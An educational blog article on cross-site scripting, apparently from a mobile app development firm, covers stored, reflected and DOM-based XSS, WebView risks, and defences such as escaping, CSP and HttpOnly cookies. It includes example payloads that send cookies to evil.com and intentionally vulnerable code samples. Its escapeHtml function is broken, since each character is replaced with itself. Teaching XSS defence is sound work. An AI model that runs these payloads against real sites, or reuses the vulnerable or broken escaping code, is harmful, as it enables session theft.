XSS (Cross-Site Scripting) is a type of web application vulnerability where an attacker injects malicious JavaScript code into content displayed to other users. According to OWASP Top Ten (2025), XSS remains one of the most common vulnerabilities, affecting over 60% of web applications. Cross-Site Scripting allows stealing session cookies, redirecting users to phishing sites, and modifying page content in real time.
Key Takeaways
XSS (Cross-Site Scripting) is a vulnerability that allows an attacker to inject JavaScript code into a web page, which then executes in the victim's browser. The browser loads the page from a trusted website and executes the injected script with the same privileges as the site's legitimate code. This gives the attacker access to cookies, session storage, the page's DOM tree, and the ability to send requests on behalf of the victim. XSS vulnerabilities occur when an application inserts user data into an HTML page without proper escaping or validation.
The term Cross-Site Scripting first appeared in 2000 in a Microsoft Security Bulletin. Over the past 25 years, XSS has not lost its relevance: according to HackerOne (2025), XSS accounts for about 22% of all registered vulnerabilities on the platform. The reason for XSS's persistence is the difficulty of controlling all entry points for user data. Any input field, URL parameter, HTTP request header, or file name can become an attack vector if the data is reflected in the HTML code without processing.
XSS attacks can lead to session cookie theft, allowing an attacker to log into the victim's account without a password. Other consequences include: redirection to phishing sites, page content tampering, personal data theft, and malware installation (drive-by download). In 2023, an XSS attack on the Salesforce Community Cloud platform affected data of thousands of enterprise clients, demonstrating that even large platforms are not immune to this vulnerability.
The XSS classification divides attacks into three main types based on the method of delivering malicious code. Each type requires a different approach to protection: Stored XSS is blocked by escaping output from the database, Reflected — by escaping URL parameters, DOM-based — by safely working with the DOM API. Understanding the difference is the foundation of an effective security strategy.
| Type | Script Storage | Delivery Vector | Detection Difficulty |
|---|---|---|---|
| Stored XSS | Server Database | Comments, profiles, messages | Medium |
| Reflected XSS | URL Parameters | Phishing links, email | High |
| DOM-based XSS | Client-Side JavaScript | URL fragments, postMessage | Very High |
The most dangerous type of XSS. An attacker injects a script into data that the server stores in a database and displays on every page load. A typical vector is a comment field: the attacker posts a comment with <script>document.location='https://evil.com/?c='+document.cookie</script>. Every user who loads the page with this comment sends their cookies to the attacker. Stored XSS requires no action from the victim other than visiting the page — making it especially dangerous for social networks, forums, and blogs.
Malicious script is passed in an HTTP request (usually in a URL parameter) and is immediately reflected by the server in the response. The attacker creates a link like https://example.com/search?q=<script>...</script> and distributes it via phishing, social networks, or email. The victim, by clicking the link, receives a page where the entered search query (script) is displayed without escaping. Reflected XSS requires social engineering — the victim must click on the link, which reduces but does not eliminate the risk.
Unlike Stored and Reflected, DOM-based XSS does not require sending data to the server. The vulnerability occurs when client-side JavaScript inserts user data from the URL, document.referrer, postMessage, or localStorage into the DOM without safe processing. For example, code like document.getElementById('output').innerHTML = location.hash.substring(1) executes any HTML and scripts from the URL fragment (#<img onerror='...'>). DOM-based XSS is the most difficult to detect because the server never receives the malicious payload — it is entirely processed on the client side.
// DOM-based XSS Example (VULNERABLE CODE)
// If userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — dangerous: inserts raw HTML
document.write('<div>' + userInput + '</div>');
// SAFE ALTERNATIVE — use textContent
document.getElementById('output').textContent = userInput;
XSS exploits a fundamental property of the web: the browser executes JavaScript received from a trusted domain. If an attacker finds a way to inject their code into the server's HTML response, the browser executes it with the same privileges as legitimate code. The attack goes through three phases: injection of malicious code into content, delivery of the content to the victim's browser, and code execution with access to the DOM, cookies, and storage.
The attacker finds an entry point — a field, URL parameter, or header whose value the server includes in the HTML response without escaping. Typical entry points include: search boxes, comment fields, username, avatar URL, cookies, HTTP headers (User-Agent, Referer). Modern frameworks (React, Angular, Vue) automatically escape output, but developers can disable escaping via dangerouslySetInnerHTML, bypassSecurityTrustHtml, or v-html.
For Reflected XSS, the attacker distributes the malicious link. For Stored XSS, it is enough to publish content on the target site, and every visitor to the page becomes a victim. DOM-based XSS is activated when a page is loaded with a specific URL fragment. All three phases can be automated: if XSS is discovered in an ad banner (third-party content), the attack will affect all site users until the banner is removed.
// Reflected XSS Example in Search (VULNERABLE BACKEND)
// Instead of escaping the q parameter, the server inserts it into HTML
// Express.js — vulnerable handler:
app.get('/search', (req, res) => {
const query = req.query.q; // user input
res.send(`<h1>Results for: ${query}</h1>`);
});
// SAFE VERSION — escaping via encodeURI or template engine:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Mobile applications are also susceptible to XSS attacks, though to a lesser extent than websites. The main vector is WebView and hybrid frameworks (Cordova, Capacitor, React Native with WebView). If the app loads web content in WebView — especially user content (HTML email, articles, messages) — an XSS vulnerability can lead to JavaScript execution inside the app with access to native functions via the JavaScript bridge.
Android WebView executes JavaScript by default. If the app loads an HTML string via loadDataWithBaseURL() or displays user content, an XSS attack can give the attacker access to the JavaScript interface (addJavascriptInterface). Google banned the use of @JavascriptInterface for API < 17, but legacy code in older apps still exists. Protection: disable JavaScript in WebView if not needed, and use safe browsing.
React Native does not use WebView for UI — components render into native views. However, when displaying HTML via react-native-webview or rich-text components, the XSS risk returns. Flutter uses its own rendering engine (Skia) and does not support JavaScript in HTML widgets (flutter_html does not execute script tags), but WebView plugins (webview_flutter) are vulnerable similarly to native WebViews. Best practice — never pass untrusted HTML to WebView.
// Safe WebView Configuration in Android
val webView = findViewById<WebView>(R.id.webview)
// Disable JavaScript if interactivity is not needed
webView.settings.javaScriptEnabled = false
// Sanitize HTML before loading
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Protection against XSS is built on three principles: don't trust user input, escape before output, use Content Security Policy. Output encoding is the most important method: all data received from the user must be escaped before inserting into HTML, JavaScript, CSS, or URL. Modern template engines (Twig, Handlebars, JSX, Blade) do this automatically unless the developer disables escaping with special methods.
Escaping depends on the context of data insertion. In HTML context, <, >, &, and quotes are escaped. In JavaScript context, backticks,
, and </script> are escaped. In CSS context — control characters. In URL context — URL encoding. A context error — for example, inserting an HTML-escaped string into an onclick attribute — does not protect against XSS because onclick executes in a JavaScript context where a different escaping is needed.
CSP is an HTTP header that limits the sources from which the browser can load scripts, styles, and other resources. Strict CSP (without unsafe-inline, without unsafe-eval) blocks the execution of any inline scripts, including XSS vectors. According to Google Security Blog (2025), sites with CSP block 95% of XSS attacks. Example: Content-Security-Policy: default-src 'self'; script-src 'self' forbids any external and inline scripts. CSP does not protect against Stored XSS if the script is loaded from the same domain, but this requires additional effort from the attacker.
Setting the HttpOnly flag for cookies prevents access to them via JavaScript (document.cookie), which blocks session cookie theft through XSS. The Secure flag ensures that the cookie is transmitted only over HTTPS. The combination HttpOnly + Secure + SameSite=Lax makes session cookie theft through XSS practically impossible. However, XSS can still perform actions on behalf of the user (e.g., sending requests), so HttpOnly is not a panacea but part of a comprehensive defense.
| Protection Method | Protects Against XSS Types | Effectiveness |
|---|---|---|
| Output Escaping | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| HttpOnly cookie | Session theft via XSS | 100% (not readable) |
| Input Validation | Stored, Reflected | 50% (depends on type) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Regular XSS testing is a mandatory part of a secure development CI/CD pipeline. Automated scanners find up to 80% of XSS vulnerabilities; the rest require manual penetration testing. The best approach is a combination of SAST (static) analysis, DAST (dynamic) scanning, and code review with a focus on user data entry points.
For mobile applications, XSS testing includes WebView analysis: checking JavaScript interfaces, URL scheme handling, and HTML passing to loadDataWithBaseURL. It is also recommended to test postMessage handling in hybrid applications and check what data is passed through the JavaScript bridge. Use an emulator with a proxy (Burp Suite) to intercept and modify mobile app traffic.
Frequently Asked Questions
Stored XSS stores the malicious script on the server (in the database) and triggers on every page load. Reflected XSS passes the script through a URL parameter, and the attack triggers only when clicking the malicious link. Stored is more dangerous because it requires no action from the victim — simply opening the infected page is enough.
No, HTTPS does not protect against XSS. HTTPS encrypts traffic between the browser and server but does not affect user input handling on the server side. XSS vulnerability exists at the application level, not the transport level. HTTPS is a mandatory security minimum but not a defense against XSS.
In most cases, XSS executes within the browser or WebView sandbox and does not have access to the file system or device hardware. However, in Android WebView with JavaScript interface enabled, an XSS script can call native application methods. In iOS, WKWebView can also expose data through JavaScriptCore if the appropriate bridge is configured.
Use Burp Suite or OWASP ZAP with a proxy configured on the mobile device. Intercept application requests, modify parameters, and send XSS payloads. Check WebView for HTML handling via loadDataWithBaseURL and the presence of JavaScript bridges. For React Native, test WebView components separately.
DOM-based XSS is an attack where JavaScript on the page itself takes data from the URL or other sources and inserts it into HTML without validation. The server does not participate — the malicious code is entirely processed in the browser. A typical example: a site takes text from location.hash and inserts it via innerHTML, allowing any HTML code to be executed.
Summary
We will develop a mobile application turnkey
IT Sectr creates iOS and Android applications for startups and businesses since 2017. We will advise you and propose the best solution.
Read also